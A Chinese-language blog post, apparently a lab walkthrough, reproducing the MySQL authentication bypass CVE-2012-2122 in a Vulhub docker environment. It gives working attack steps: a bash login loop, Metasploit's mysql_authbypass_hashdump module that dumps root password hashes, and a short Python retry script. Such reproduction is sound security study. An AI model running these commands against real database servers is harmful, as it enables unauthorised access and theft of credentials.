*文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。
受影响版本:
参考链接:
环境搭建,使用Vulhub搭建,docker开启的容器,默认环境端口为3306,请确保机器3306没占用,如果占用会导致容器启动失败
1,进入容器,cd vulhub-master/mysql/CVE-2012-2122
2,开启容器,docker-compose up -d,出现done表示启动成功
环境启动后,将启动一个Mysql服务(版本:5.5.23),监听3306端口,通过正常的Mysql客户端,可以直接登录的,正确root密码是123456。
漏洞验证
在不知道密码的情况下,在bash下运行如下命令,在一定数量尝试之后,就可以成功登录:
for i in `seq 1 1000`;do mysql -uroot -pwrong -h your-ip -P3306; done , seq旁边是使用的反引号` , 及键盘!左边的符号
metasploit有相应利用工具,利用方法如下:
1,启动metasploit,输入命令 msfconsole
2,进入辅助扫描器,use auxiliary/scanner/mysql/mysql_authbypass_hashdump,查看要设置的参数,show options
3,设置要扫描的登录账户名, set USERNAME root
4,设置要扫描的主机地址,set RHOSTS 192.168.190.133,该ip地址为靶场虚拟机ip
5,参数都设置完成了,使用run运行即可
6,可以看到,已经成功绕过,获取了root账户的密码信息,自动保存到了一个文件下,查看文件内容,得到目标机器的mysql数据库账户密码
方法3,使用python代码
1,编辑文件,vim mysql_bypass.py
#!/usr/bin/python
import subprocess
while 1:
subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()
2,运行脚本,python mysql_bypass.py
确实可以开始跑尝试连接,不过由于密码是随机的,所以博主在等待一段时间之后停止了python操作,方法是可行的
完
2019-11-1:Mysql 身份认证绕过漏洞(CVE-2012-2122)
原文:https://www.cnblogs.com/sym945/p/11779303.html